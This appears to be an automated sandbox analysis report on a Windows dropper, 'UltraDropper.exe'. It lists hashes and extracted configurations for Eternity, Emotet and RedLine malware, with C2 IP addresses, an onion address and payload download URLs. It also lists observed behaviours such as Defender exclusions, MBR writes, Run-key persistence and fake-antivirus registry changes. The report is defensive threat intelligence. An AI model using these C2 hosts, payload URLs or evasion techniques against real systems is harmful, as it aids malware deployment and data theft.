Analysis
-
max time kernel
311s -
max time network
312s -
platform
windows11-21h2_x64 -
resource
win11-20241007-en -
resource tags
arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system -
submitted
10-12-2024 13:38
Static task
static1
Behavioral task
behavioral1
Sample
UltraDropper.exe
Resource
win11-20241007-en
General
-
Target
UltraDropper.exe
-
Size
2.1MB
-
MD5
780a9d4a4fc574831e5c6e5e212c2ca6
-
SHA1
8120325c5591b3195d9e126e66cf703ee5662b9c
-
SHA256
204f9f28d1c120185e93efa3805acb021947b48c6164318f1c7cfca9d73277a8
-
SHA512
4bea8e9c4c94f72c2a372d2132cd6f8bd8b803b73cec82e293ca65ebd22cdde481f6b8efc8e5793a918c7e604f5d2bb8503cb1405817da602dd5d46a7fc5f2d0
-
SSDEEP
49152:sW2vZKbn0KJrgcvZ4dvTrRpjgYhNWue0CJAop:svZKrJ5vZ4drfgYOfF
Malware Config
Extracted
eternity
http://eternityms33k74r7iuuxfda4sqsiei3o3lbtr5cpalf6f4skszpruad.onion
-
payload_urls
https://raroford3242.xyz/myupdate.exe
https://raroford3242.xyz/Sklmsstregens.vbs, https://raroford3242.xyz/remcexecrypt.exe, https://raroford3242.xyz/redlcryp.exe, https://raroford3242.xyz/racoocry.exe
https://raroford3242.xyz/myupdate.exe
https://raroford3242.xyz/myupdate.exe
Extracted
emotet
Epoch5
178.238.225.252:8080
139.196.72.155:8080
36.67.23.59:443
103.56.149.105:8080
37.44.244.177:8080
85.25.120.45:8080
202.134.4.210:7080
78.47.204.80:443
83.229.80.93:8080
93.104.209.107:8080
80.211.107.116:8080
165.22.254.236:8080
104.244.79.94:443
185.148.169.10:8080
190.145.8.4:443
175.126.176.79:8080
139.59.80.108:8080
188.165.79.151:443
128.199.217.206:443
64.227.55.231:8080
218.38.121.17:443
103.71.99.57:8080
103.224.241.74:8080
128.199.242.164:8080
85.214.67.203:8080
103.254.12.236:7080
46.101.98.60:8080
178.62.112.199:8080
210.57.209.142:8080
195.77.239.39:8080
103.126.216.86:443
82.98.180.154:7080
202.28.34.99:8080
174.138.33.49:7080
160.16.143.191:8080
51.75.33.122:443
103.41.204.169:8080
186.250.48.5:443
87.106.97.83:7080
118.98.72.86:443
196.44.98.190:8080
103.85.95.4:8080
62.171.178.147:8080
54.37.228.122:443
114.79.130.68:443
198.199.70.22:8080
Extracted
redline
@dsadasdasd1
45.15.156.155:80
-
auth_value
e2637596f93702084676494f7e0c2dfd
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Dcrat family
-
Emotet family
-
Eternity
Eternity Project is a malware kit offering an info stealer, clipper, worm, coin miner, ransomware, and DDoS bot.
-
Eternity family
-
Njrat family
-
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
-
Privateloader family
-
Process spawned unexpected child process 51 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4792 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1264 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3436 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2332 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4496 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6112 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1064 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4936 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4976 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 400 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2076 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5688 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5216 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4684 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5396 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1008 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5348 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5780 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 984 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2848 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3328 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1480 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5340 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1160 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 248 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2108 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4788 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3264 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2580 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4656 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3932 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3140 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3856 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5916 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5976 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4952 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6032 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3332 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6128 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1444 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3892 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 560 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6104 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5712 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1200 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1092 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2904 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1412 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3704 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5672 3220 schtasks.exe 161 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1192 3220 schtasks.exe 161 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 1 IoCs
resource yara_rule behavioral1/memory/3572-302-0x00000000107C0000-0x00000000107E8000-memory.dmp family_redline -
Redline family
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" antivirus-platinum.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" antivirus-platinum.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" antivirus-platinum.exe -
resource yara_rule behavioral1/files/0x001900000002ab62-148.dat dcrat behavioral1/memory/3684-241-0x0000000000590000-0x00000000006DC000-memory.dmp dcrat behavioral1/files/0x0002000000025cd0-259.dat dcrat -
Command and Scripting Interpreter: PowerShell 1 TTPs 18 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5988 powershell.exe 3968 powershell.exe 4984 powershell.exe 5728 powershell.exe 1020 powershell.exe 244 powershell.exe 2124 powershell.exe 4072 powershell.exe 5464 powershell.exe 404 powershell.exe 5960 powershell.exe 4280 powershell.exe 5308 powershell.exe 3124 powershell.exe 5112 powershell.exe 2256 powershell.exe 5572 powershell.exe 1968 powershell.exe -
Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-556537508-2730415644-482548075-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" antivirus-platinum.exe -
Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2436 netsh.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ecc7c8c51c0850c1ec247c7fd3602f20.exe windows.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ecc7c8c51c0850c1ec247c7fd3602f20.exe windows.exe -
Executes dropped EXE 34 IoCs
pid Process 1444 ud.curl.exe 4800 ud.7z.exe 5404 ud.curl.exe 1996 ud.7z.exe 6072 ud.curl.exe 3272 ud.7z.exe 4072 ud.curl.exe 3200 ud.7z.exe 5968 ud.curl.exe 5432 ud.7z.exe 1172 ud.curl.exe 3124 ud.7z.exe 3672 ud.curl.exe 4956 ud.7z.exe 660 ud.curl.exe 3916 ud.7z.exe 3904 ud.curl.exe 2524 ud.7z.exe 5188 ud.curl.exe 1292 ud.7z.exe 336 setup.exe 1932 [email protected] 5332 [email protected] 3572 setup.eexe 332 Genshin Impact.exe 3408 Worm (1).exe 5696 Install.exe 1724 302746537.exe 872 njRAT.exe 1680 njq8.exe 1960 windows.exe 2924 antivirus-platinum.exe 3684 PortwebSaves.exe 5692 Registry.exe -
Loads dropped DLL 15 IoCs
pid Process 4800 ud.7z.exe 1996 ud.7z.exe 3272 ud.7z.exe 5432 ud.7z.exe 3124 ud.7z.exe 4956 ud.7z.exe 3916 ud.7z.exe 2524 ud.7z.exe 1292 ud.7z.exe 244 regsvr32.exe 1756 regsvr32.exe 5920 regsvr32.exe 2016 regsvr32.exe 5276 regsvr32.exe 2924 antivirus-platinum.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1" antivirus-platinum.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1" antivirus-platinum.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1" antivirus-platinum.exe -
Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-556537508-2730415644-482548075-1000\Software\Microsoft\Windows\CurrentVersion\Run\AntiVirus Pro 2017 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ultradrp\\[email protected]" [email protected] Set value (str) \REGISTRY\USER\S-1-5-21-556537508-2730415644-482548075-1000\Software\Microsoft\Windows\CurrentVersion\Run\ecc7c8c51c0850c1ec247c7fd3602f20 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\windows.exe\" .." windows.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ecc7c8c51c0850c1ec247c7fd3602f20 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\windows.exe\" .." windows.exe -
Enumerates connected drives 3 TTPs 21 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: [email protected] File opened (read-only) \??\T: [email protected] File opened (read-only) \??\W: [email protected] File opened (read-only) \??\Z: [email protected] File opened (read-only) \??\K: [email protected] File opened (read-only) \??\O: [email protected] File opened (read-only) \??\R: [email protected] File opened (read-only) \??\U: [email protected] File opened (read-only) \??\X: [email protected] File opened (read-only) \??\Y: [email protected] File opened (read-only) \??\I: [email protected] File opened (read-only) \??\P: [email protected] File opened (read-only) \??\Q: [email protected] File opened (read-only) \??\V: [email protected] File opened (read-only) \??\E: [email protected] File opened (read-only) \??\H: [email protected] File opened (read-only) \??\J: [email protected] File opened (read-only) \??\L: [email protected] File opened (read-only) \??\M: [email protected] File opened (read-only) \??\N: [email protected] File opened (read-only) \??\S: [email protected] -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 13 IoCs
flow ioc 41 raw.githubusercontent.com 6 raw.githubusercontent.com 8 raw.githubusercontent.com 33 raw.githubusercontent.com 39 raw.githubusercontent.com 35 raw.githubusercontent.com 54 raw.githubusercontent.com 58 raw.githubusercontent.com 60 raw.githubusercontent.com 5 raw.githubusercontent.com 10 raw.githubusercontent.com 20 raw.githubusercontent.com 29 raw.githubusercontent.com -
Looks up external IP address via web service 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 21 ip-api.com 22 api.db-ip.com 63 ipinfo.io 65 api.db-ip.com 5 ipinfo.io -
Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 [email protected] -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\System32\GroupPolicy Install.exe File opened for modification C:\Windows\SysWOW64\GroupPolicy\gpt.ini Install.exe File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol Install.exe File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI Install.exe -
resource yara_rule behavioral1/files/0x000400000000f5c4-165.dat upx behavioral1/memory/1724-184-0x0000000000400000-0x0000000000410000-memory.dmp upx behavioral1/memory/2924-233-0x0000000000400000-0x000000000040D000-memory.dmp upx behavioral1/memory/1724-237-0x0000000000400000-0x0000000000410000-memory.dmp upx behavioral1/memory/2924-423-0x0000000000400000-0x000000000040D000-memory.dmp upx behavioral1/memory/2924-475-0x0000000000400000-0x000000000040D000-memory.dmp upx -
Drops file in Program Files directory 10 IoCs
description ioc Process File created C:\Program Files (x86)\Windows Sidebar\e6c9b481da804f PortwebSaves.exe File created C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\setup.exe PortwebSaves.exe File created C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\826420e65ec10f PortwebSaves.exe File created C:\Program Files\WindowsPowerShell\Configuration\winlogon.exe PortwebSaves.exe File created C:\Program Files\WindowsPowerShell\Configuration\cc11b995f2a76d PortwebSaves.exe File created C:\Program Files (x86)\Internet Explorer\es-ES\regsvr32.exe PortwebSaves.exe File created C:\Program Files (x86)\Internet Explorer\es-ES\8836e11557835c PortwebSaves.exe File created C:\Program Files (x86)\Windows Sidebar\OfficeClickToRun.exe PortwebSaves.exe File created C:\Program Files\Windows Media Player\lsass.exe PortwebSaves.exe File created C:\Program Files\Windows Media Player\6203df4a6bafc7 PortwebSaves.exe -
Drops file in Windows directory 15 IoCs
description ioc Process File created C:\Windows\302746537.exe [email protected] File created C:\Windows\bcastdvr\RuntimeBroker.exe PortwebSaves.exe File created C:\Windows\__tmp_rar_sfx_access_check_240856953 [email protected] File created C:\Windows\antivirus-platinum.exe [email protected] File created C:\Windows\COMCTL32.OCX [email protected] File opened for modification C:\Windows\MSCOMCTL.OCX [email protected] File opened for modification C:\Windows\302746537.exe [email protected] File created C:\Windows\twain_32\conhost.exe PortwebSaves.exe File opened for modification C:\Windows\antivirus-platinum.exe [email protected] File opened for modification C:\Windows\COMCTL32.OCX [email protected] File created C:\Windows\MSCOMCTL.OCX [email protected] File created C:\Windows\OCR\en-us\cmd.exe PortwebSaves.exe File created C:\Windows\bcastdvr\9e8d7a4ca61bd9 PortwebSaves.exe File opened for modification C:\windows\antivirus-platinum.exe attrib.exe File created C:\Windows\twain_32\088424020bedd6 PortwebSaves.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 63 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language njRAT.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Worm (1).exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language setup.eexe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language setup.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language antivirus-platinum.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language [email protected] Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Genshin Impact.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language njq8.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language njRAT.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 302746537.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language windows.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language regsvr32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language [email protected] Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Install.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language UltraDropper.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language njRAT.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.curl.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ud.7z.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language attrib.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main antivirus-platinum.exe Key created \REGISTRY\USER\S-1-5-21-556537508-2730415644-482548075-1000\Software\Microsoft\Internet Explorer\Main antivirus-platinum.exe Set value (str) \REGISTRY\USER\S-1-5-21-556537508-2730415644-482548075-1000\Software\Microsoft\Internet Explorer\Main\Window Title = "YOUR PC MAY BE INFECTED WITH SPYWARE OR OTHER MALICIOUS ITEMS" antivirus-platinum.exe -
Modifies Internet Explorer start page 1 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\Start Page = "http://secureservices2010.webs.com/scan" antivirus-platinum.exe Set value (str) \REGISTRY\USER\S-1-5-21-556537508-2730415644-482548075-1000\Software\Microsoft\Internet Explorer\Main\Start Page = "http://secureservices2010.webs.com/scan" antivirus-platinum.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{373FF7F2-EB8B-11CD-8820-08002B2F4F5A}\TypeLib\Version = "1.3" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8E3867A3-8586-11D1-B16A-00C0F0283628}\InprocServer32\ = "c:\\windows\\mscomctl.ocx" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F04C-858B-11D1-B16A-00C0F0283628}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9ED94440-E5E8-101B-B9B5-444553540000}\MiscStatus\1 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{C8A3DC00-8593-11D1-B16A-00C0F0283628} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E8A1-850A-101B-AFC0-4210102A8DA7}\ = "IPanel10" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E8A4-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{35053A22-8589-11D1-B16A-00C0F0283628}\Implemented Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4} regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{BDD1F04C-858B-11D1-B16A-00C0F0283628} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{0713E953-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2C787A50-E01C-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{58DA8D8C-9D6A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{35053A21-8589-11D1-B16A-00C0F0283628}\TypeLib regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\MSComctlLib.TabStrip\CurVer regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{8E3867A1-8586-11D1-B16A-00C0F0283628}\ = "IStatusBar" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BDD1F04C-858B-11D1-B16A-00C0F0283628}\TypeLib\Version = "2.0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}\InprocServer32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\COMCTL.Slider\CurVer regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{2334D2B3-713E-11CF-8AE5-00AA00C00905}\ProxyStubClsid32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{6B7E6391-850A-101B-AFC0-4210102A8DA7} regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{58DA8D94-9D6A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32 regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2C247F23-8591-11D1-B16A-00C0F0283628}\Version\ = "2.0" regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0713E8D2-850A-101B-AFC0-4210102A8DA7}\VersionIndependentProgID\ = "COMCTL.ProgCtrl" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{F4D83603-895E-11D0-B0A6-000000000000}\ProxyStubClsid32 regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{E6E17E86-DF38-11CF-8E74-00A0C90F26F8} regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{EC0AB1C0-6CAB-11CF-8998-00AA00688B10}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" regsvr32.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{66833FE6-8583-11D1-B16A-00C0F0283628} regsvr32.exe Key created 